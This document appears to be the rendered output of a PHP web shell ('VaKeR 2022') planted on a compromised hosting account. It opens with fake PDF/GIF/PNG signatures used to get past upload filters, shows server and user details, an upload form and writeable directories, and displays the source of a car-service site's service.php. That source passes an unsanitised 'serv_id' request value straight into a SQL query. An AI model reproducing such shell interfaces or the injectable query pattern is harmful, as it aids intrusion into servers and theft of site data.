%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/service.php
<?php include('header.php');
error_reporting(0);
?>
<style>
    .new-eg-img p img {
        width: 25px !important;
        height: 25px !important;
    }

    #toggleBtn-132,
    .show-more-link {
        color: black !important;
        text-decoration: none !important;
        padding: 10px;
    }
</style>
<?php
$slug = isset($_REQUEST['serv_id']) ? $_REQUEST['serv_id'] : null;
$fet_slug = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `sevice_tbl` WHERE slug='$slug'"));
$selected_service_id = $fet_slug['id'];

$first_service_qry = mysqli_query($conn, "SELECT id FROM sevice_tbl WHERE status=1 AND id!=1 ORDER BY sequence ASC LIMIT 1");
$first_service = mysqli_fetch_array($first_service_qry);
$first_service_id = $first_service['id'];

if (is_null($selected_service_id)) {
    $selected_service_id = $first_service_id;
}
?>
<?php if (isset($_SESSION['message'])): ?>
    <div class="alert alert-success alert-dismissible fade show" role="alert">
        <strong class="text-dark"><?php echo $_SESSION['message']; ?> &nbsp;<i class="feather icon-thumbs-up text-danger"></i></strong>
        <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
    </div>
    <?php unset($_SESSION['message']); ?>
<?php endif; ?>
<?php if (isset($_SESSION['error'])): ?>
    <div class="alert alert-warning alert-dismissible fade show" role="alert">
        <strong class="text-danger"><?php echo $_SESSION['error']; ?> &nbsp;<i class="feather icon-thumbs-up text-dark"></i></strong>
        <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
    </div>
    <?php unset($_SESSION['error']); ?>
<?php endif; ?>
<section class="product-tabs">
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <ul class="nav nav-tabs" id="myTab" role="tablist">
                    <?php
                    $service01Qry = mysqli_query($conn, "SELECT * FROM sevice_tbl WHERE status=1 AND id!=1 ORDER BY sequence ASC");
                    while ($Servicerow0 = mysqli_fetch_array($service01Qry)) {
                    ?>
                        <li class="nav-item" role="presentation">
                            <button class="nav-link <?php if ($Servicerow0['id'] == $selected_service_id) {
                                                        echo "active";
                                                    } ?>" id="home-tab<?= $Servicerow0['id'] ?>" data-bs-toggle="tab" data-bs-target="#home<?= $Servicerow0['id'] ?>" type="button" role="tab" aria-controls="home<?= $Servicerow0['id'] ?>" aria-selected="true">
                                <img src="<?= $base_url ?>images/Upload/service/<?= $Servicerow0['image1'] ?>" class="img-fluid" alt="Service Image">
                                <p class="mb-0 mt-2"><?= $Servicerow0['title'] ?></p>
                            </button>
                        </li>
                    <?php
                    }
                    ?>
                </ul>
                <div class="row">
                    <div class="col-md-7">
                        <div class="tab-content" id="myTabContent">
                            <?php
                            $service02Qry = mysqli_query($conn, "SELECT * FROM sevice_tbl WHERE status=1 AND id!=1 ORDER BY sequence ASC");
                            while ($Servicerow02 = mysqli_fetch_array($service02Qry)) {
                            ?>
                                <div class="tab-pane fade <?php if ($Servicerow02['id'] == $selected_service_id) {
                                                                echo "active show";
                                                            } ?>" id="home<?= $Servicerow02['id'] ?>" role="tabpanel" aria-labelledby="home-tab<?= $Servicerow02['id'] ?>">
                                    <div class="container-fluid">
                                        <div class="row">
                                            <div class="col-md-12">
                                                <?php
                                                $filter_sql = !empty($_SESSION['filter']) ? $_SESSION['filter'] : '';
                                                $product02Qry = mysqli_query($conn, "SELECT * FROM product_tbl WHERE status=1 AND service_id='" . $Servicerow02['id'] . "'" . $filter_sql);
                                                while ($productrow02 = mysqli_fetch_array($product02Qry)) {
                                                    $productId = $productrow02['id'];
                                                    $isInCart = isset($_SESSION['cart'][$productId]);
                                                ?>
                                                    <div class="listing" id="find_suv_<?= $productrow02['id'] ?>">
                                                        <h6 class="fs-16"><?= $productrow02['title'] ?></h6>
                                                        <div class="listing-flex">
                                                            <div>
                                                                <img src="<?= $base_url ?>images/Upload/product/<?= $productrow02['image1'] ?>"
                                                                    class="me-3"
                                                                    style="width: 150px; height: 150px;object-fit:cover;border-radius:15px;"
                                                                    alt="Product Image">
                                                            </div>
                                                            <div>
                                                                <div class="product-description"
                                                                    style="max-height: 60px; overflow: hidden; position: relative;"
                                                                    id="desc-<?= $productId ?>">
                                                                    <?= $productrow02['short_description'] ?><br>
                                                                    <?= $productrow02['about'] ?>
                                                                </div>
                                                                <br>
                                                                <a href="javascript:void(0);" class="text-primary show-more-link"
                                                                    onclick="toggleDescription(<?= $productId ?>)"
                                                                    id="toggleBtn-<?= $productId ?>">Show More</a>
                                                            </div>
                                                        </div>
                                                        <div class="rating-cart-flex">
                                                            <div></div>
                                                            <div class="merge-cart">
                                                                <a href="<?=$base_url?>contact.php?serv_id=<?= $productId ?>" style="text-decoration:none; color:inherit;"><span class="text-white text-decoration-none">Enquiry</span></a>
                                                                <input type="hidden" name="pro_quantity" id="pro_quantity" value="1">
                                                                <!-- <?php if ($isInCart) { ?>
                                                                    <a class="white-cart btn add_to_cart bg-warning" data-id="</?=$productId?>">Already in Cart</a> -->
                                                            <?php } else {
                                                                            $Servicerow05 = mysqli_query($conn, "SELECT * FROM oil_tbl WHERE status=1 AND cat_id='" . $productrow02['service_id'] . "'");
                                                                            $Servicerow06 = mysqli_query($conn, "SELECT * FROM part_tbl WHERE status=1 AND cat_id='" . $productrow02['service_id'] . "'");

                                                                            // if(mysqli_num_rows($Servicerow05) > 0 || mysqli_num_rows($Servicerow06) > 0) {
                                                                            // 
                                                            ?>
                                                                <!-- <a class="white-cart" href="#" data-price="</?=$productrow02['price']?>" data-id="</?=$productId?>" data-catid="</?=$productrow02['service_id']?>" data-bs-toggle="modal" data-bs-target="#myModal"><i class="bi bi-plus"></i> Add to Cart</a> -->
                                                                <?php
                                                                            // } else { 
                                                                ?>
                                                                <!-- <a class="white-cart add_to_cart" href="#" data-price="</?=$productrow02['price']?>" data-id="</?=$productId?>" data-catid="</?=$productrow02['service_id']?>"><i class="bi bi-plus"></i> Add to Cart</a> -->
                                                                <?php
                                                                            // } 
                                                                ?>
                                                            <?php } ?>
                                                            </div>
                                                        </div>
                                                    </div>
                                                <?php } ?>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            <?php
                            }
                            ?>
                        </div>
                    </div>
                    <div class="col-md-5">
                        <?php if (isset($_SESSION['filter'])) {
                            include('choose-car-include.php');
                        } else {
                            include('choose-car-include.php');
                        }
                        ?>
                    </div>
                </div>
                <?php include('faq-include.php'); ?>
                <?php include('client-include.php'); ?>
            </div>
        </div>
    </div>
</section>
<?php include('footer.php'); ?>
<script type="text/javascript">
    $(document).ready(function() {
        $('.white-cart').on('click', function() {
            var price = $(this).data('price');
        });
    });
</script>

<div class="modal" id="myModal">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h4 class="modal-title fw-bold">Standard Service</h4>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body">
                <input type="hidden" id="catid">
                <div class="row" id="oilContent">
                </div>
                <div class="row">
                    <div class="col-md-12">
                        <h5 class="my-3 fw-bold">Boost Your Service</h5>
                    </div>
                </div>
                <div class="row y-scroll" id="partContent">
                </div>
            </div>
            <div class="modal-footer flex-justify-radio">
                <div>
                    <h5 id="totalPrice">AED 0</h5>
                </div>
                <a class="btn btn-danger rounded-0 add_to_cart"><i class="bi bi-plus"></i>Add To Cart</a>
            </div>
        </div>
    </div>
</div>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
    $(document).ready(function() {
        $('#myModal').on('show.bs.modal', function(e) {
            var button = $(e.relatedTarget);
            var catid = button.data('catid');
            $('#catid').val(catid);
            $.ajax({
                url: 'fetch_oil_parts.php',
                method: 'GET',
                data: {
                    catid: catid
                },
                success: function(response) {
                    var data = JSON.parse(response);
                    $('#oilContent').html(data.oilContent);
                    $('#partContent').html(data.partContent);
                }
            });
        });
    });
</script>
<script type="text/javascript">
    $(document).ready(function() {
        var price = 0;
        var productId = 0;
        var sevi_id = 0;
        $('.white-cart').on('click', function() {
            price = parseFloat($(this).data('price'));
            productId = parseInt($(this).data('id'));
            sevi_id = parseInt($(this).data('catid'));

            calculateTotalPrice();
        });

        function calculateTotalPrice() {
            var total = 0;
            total += price;
            const selectedOilPrice = $("input[name='oil']:checked").val();
            if (selectedOilPrice) {
                total += parseFloat(selectedOilPrice);
                oil_id = parseInt($("input[name='oil']:checked").data('s_id'));
            } else {
                oil_id = '0';
            }
            $("input[name='check1[]']:checked").each(function() {
                total += parseFloat($(this).data('ch'));
            });
            $("#totalPrice").html("AED " + total.toFixed(2));
        }
        calculateTotalPrice();
        $("body").on('change', "input[name='oil'], input[name='check1[]']", function() {
            calculateTotalPrice();
        });
        $('.add_to_cart').on('click', function() {
            calculateTotalPrice();
            let total = parseFloat($("#totalPrice").text().replace("AED ", ""));
            var selectedOilPrice = parseFloat($("input[name='oil']:checked").val());
            var parts = $("input[name='check1[]']:checked").map(function() {
                return $(this).val();
            }).get();
            var quantity = 1;
            addToCart(productId, quantity, total, selectedOilPrice, parts, sevi_id, oil_id, price);
        });

        function addToCart(productId, quantity, total, selectedOilPrice, parts, sevi_id, oil_id, price) {
            $.ajax({
                type: "POST",
                url: "addToCart.php",
                data: {
                    id: productId,
                    quantity: quantity,
                    total: total,
                    selectedOilPrice: selectedOilPrice,
                    parts: parts,
                    sevi_id: sevi_id,
                    oil_id: oil_id,
                    price: price
                },
                dataType: 'json',
                success: function(response) {
                    if (response.status === 'success') {
                        localStorage.setItem('addCartMessage', response.message);
                        window.location.href = "service.php";
                    } else if (response.status === 'error') {
                        localStorage.setItem('addCartMessage1', response.message);
                        window.location.href = "service.php";
                    }
                },
                error: function(xhr, status, error) {

                    console.error(error);
                }
            });
        }
        var addCartMessage = localStorage.getItem('addCartMessage');
        var addCartMessage1 = localStorage.getItem('addCartMessage1');
        if (addCartMessage) {
            localStorage.removeItem('addCartMessage');
            showAlert('success', addCartMessage);
        }
        if (addCartMessage1) {
            localStorage.removeItem('addCartMessage1');
            showAlert('danger', addCartMessage1);
        }

        function showAlert(type, message) {
            $(".cart_add_success").html(`
           <div class="alert alert-${type} alert-dismissible" id="alertClose">
               <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
               ${message}
           </div>
       `);
            $("#shoppingCart").addClass("show");
            setTimeout(function() {
                $(".cart_add_success").html('');
            }, 3000);
        }
    });
</script>
<script>
    function toggleDescription(id) {
        const desc = document.getElementById('desc-' + id);
        const btn = document.getElementById('toggleBtn-' + id);

        if (desc.style.maxHeight === 'none') {
            desc.style.maxHeight = '60px';
            btn.innerText = 'Show More';
        } else {
            desc.style.maxHeight = 'none';
            btn.innerText = 'Show Less';
        }
    }
</script>

VaKeR 2022